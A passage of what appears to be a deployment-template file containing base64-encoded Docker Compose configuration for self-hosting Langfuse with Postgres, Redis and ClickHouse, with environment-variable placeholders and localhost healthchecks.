ZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgICAgIC0gJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgLSAnTEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUz0ke0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM6LWZhbHNlfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVNFUj0ke1NFUlZJQ0VfVVNFUl9DTElDS0hPVVNFfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICAgIC0gQ0xJQ0tIT1VTRV9DTFVTVEVSX0VOQUJMRUQ9ZmFsc2UKICAgICAgLSAnTEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I9JHtMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQjotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg6LW1lZGlhL30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg6LWV4cG9ydHMvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT046LWF1dG99JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUzotMX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBSRURJU19QT1JUPTYzNzkKICAgICAgLSAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICAtICdFTUFJTF9GUk9NX0FERFJFU1M9JHtFTUFJTF9GUk9NX0FERFJFU1M6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnU01UUF9DT05ORUNUSU9OX1VSTD0ke1NNVFBfQ09OTkVDVElPTl9VUkw6LX0nCiAgICAgIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAgICAgLSAnQVVUSF9ESVNBQkxFX1NJR05VUD0ke0FVVEhfRElTQUJMRV9TSUdOVVA6LXRydWV9JwogICAgICAtICdIT1NUTkFNRT0ke0hPU1ROQU1FOi0wLjAuMC4wfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfTkFNRT0ke0xBTkdGVVNFX0lOSVRfT1JHX05BTUU6LU15IE9yZ30nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRD0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRDotbXktcHJvamVjdH0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw9JHtMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9VU0VSX05BTUU9JHtTRVJWSUNFX1VTRVJfTEFOR0ZVU0V9JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIGNsaWNraG91c2U6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTctYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICB2b2x1bWVzOgogICAgICAtICdsYW5nZnVzZV9wb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtaCBsb2NhbGhvc3QgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6OCcKICAgIGNvbW1hbmQ6CiAgICAgIC0gc2gKICAgICAgLSAnLWMnCiAgICAgIC0gJ3JlZGlzLXNlcnZlciAtLXJlcXVpcmVwYXNzICIkU0VSVklDRV9QQVNTV09SRF9SRURJUyInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUkVESVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX3JlZGlzX2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSAnLWEnCiAgICAgICAgLSAkU0VSVklDRV9QQVNTV09SRF9SRURJUwogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogM3MKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDEwCiAgY2xpY2tob3VzZToKICAgIGltYWdlOiAnY2xpY2tob3VzZS9jbGlja2hvdXNlLXNlcnZlcjoyNi4yLjQuMjMnCiAgICB1c2VyOiAnMTAxOjEwMScKICAgIGVudmlyb25tZW50OgogICAgICAtICdDTElDS0hPVVNFX0RCPSR7Q0xJQ0tIT1VTRV9EQjotZGVmYXVsdH0nCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVNFUj0ke1NFUlZJQ0VfVVNFUl9DTElDS0hPVVNFfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICB2b2x1bWVzOgogICAgICAtICdsYW5nZnVzZV9jbGlja2hvdXNlX2RhdGE6L3Zhci9saWIvY2xpY2tob3VzZScKICAgICAgLSAnbGFuZ2Z1c2VfY2xpY2tob3VzZV9sb2dzOi92YXIvbG9nL2NsaWNraG91c2Utc2VydmVyJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICd3Z2V0IC0tbm8tdmVyYm9zZSAtLXRyaWVzPTEgLS1zcGlkZXIgaHR0cDovL2xvY2FsaG9zdDo4MTIzL3BpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAK", + "compose": "eC1hcHAtZW52OgogIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogIC0gJ1NBTFQ9JHtTRVJWSUNFX1BBU1NXT1JEX1NBTFR9JwogIC0gJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgLSAnVEVMRU1FVFJZX0VOQUJMRUQ9JHtURUxFTUVUUllfRU5BQkxFRDotZmFsc2V9JwogIC0gJ0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM9JHtMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTOi1mYWxzZX0nCiAgLSAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgLSAnQ0xJQ0tIT1VTRV9VUkw9aHR0cDovL2NsaWNraG91c2U6ODEyMycKICAtICdDTElDS0hPVVNFX1VTRVI9JHtTRVJWSUNFX1VTRVJfQ0xJQ0tIT1VTRX0nCiAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgLSBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogIC0gJ0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9CPSR7TEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I6LWZhbHNlfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT046LWF1dG99JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEOi1mYWxzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT049JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRH0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAtICdMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM6LTF9JwogIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogIC0gUkVESVNfSE9TVD1yZWRpcwogIC0gUkVESVNfUE9SVD02Mzc5CiAgLSAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogIC0gJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogIC0gJ1NNVFBfQ09OTkVDVElPTl9VUkw9JHtTTVRQX0NPTk5FQ1RJT05fVVJMOi19JwogIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAtICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgLSAnSE9TVE5BTUU9JHtIT1NUTkFNRTotMC4wLjAuMH0nCiAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAtICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAtICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ6LW15LXByb2plY3R9JwogIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9OQU1FPSR7U0VSVklDRV9VU0VSX0xBTkdGVVNFfScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKc2VydmljZXM6CiAgbGFuZ2Z1c2U6CiAgICBpbWFnZTogJ2xhbmdmdXNlL2xhbmdmdXNlOjMnCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBjbGlja2hvdXNlOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgMDogJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAgICAgMTogJ0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AcG9zdGdyZXM6NTQzMi8ke1BPU1RHUkVTX0RCOi1sYW5nZnVzZS1kYn0nCiAgICAgIDI6ICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAgICAgMzogJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgICAgIDQ6ICdURUxFTUVUUllfRU5BQkxFRD0ke1RFTEVNRVRSWV9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIDU6ICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogICAgICA2OiAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgICAgIDc6ICdDTElDS0hPVVNFX1VSTD1odHRwOi8vY2xpY2tob3VzZTo4MTIzJwogICAgICA4OiAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICA5OiAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICAgIDEwOiBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogICAgICAxMTogJ0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9CPSR7TEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I6LWZhbHNlfScKICAgICAgMTI6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAxMzogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgMTQ6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAgICAgMTU6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAxNjogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIDE3OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgICAgIDE4OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogICAgICAxOTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIDIwOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT046LWF1dG99JwogICAgICAyMTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAyMjogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIDIzOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UfScKICAgICAgMjQ6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMjU6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAgICAgMjY6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIDI3OiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgMjg6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogICAgICAyOTogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT049JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OOi1hdXRvfScKICAgICAgMzA6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FW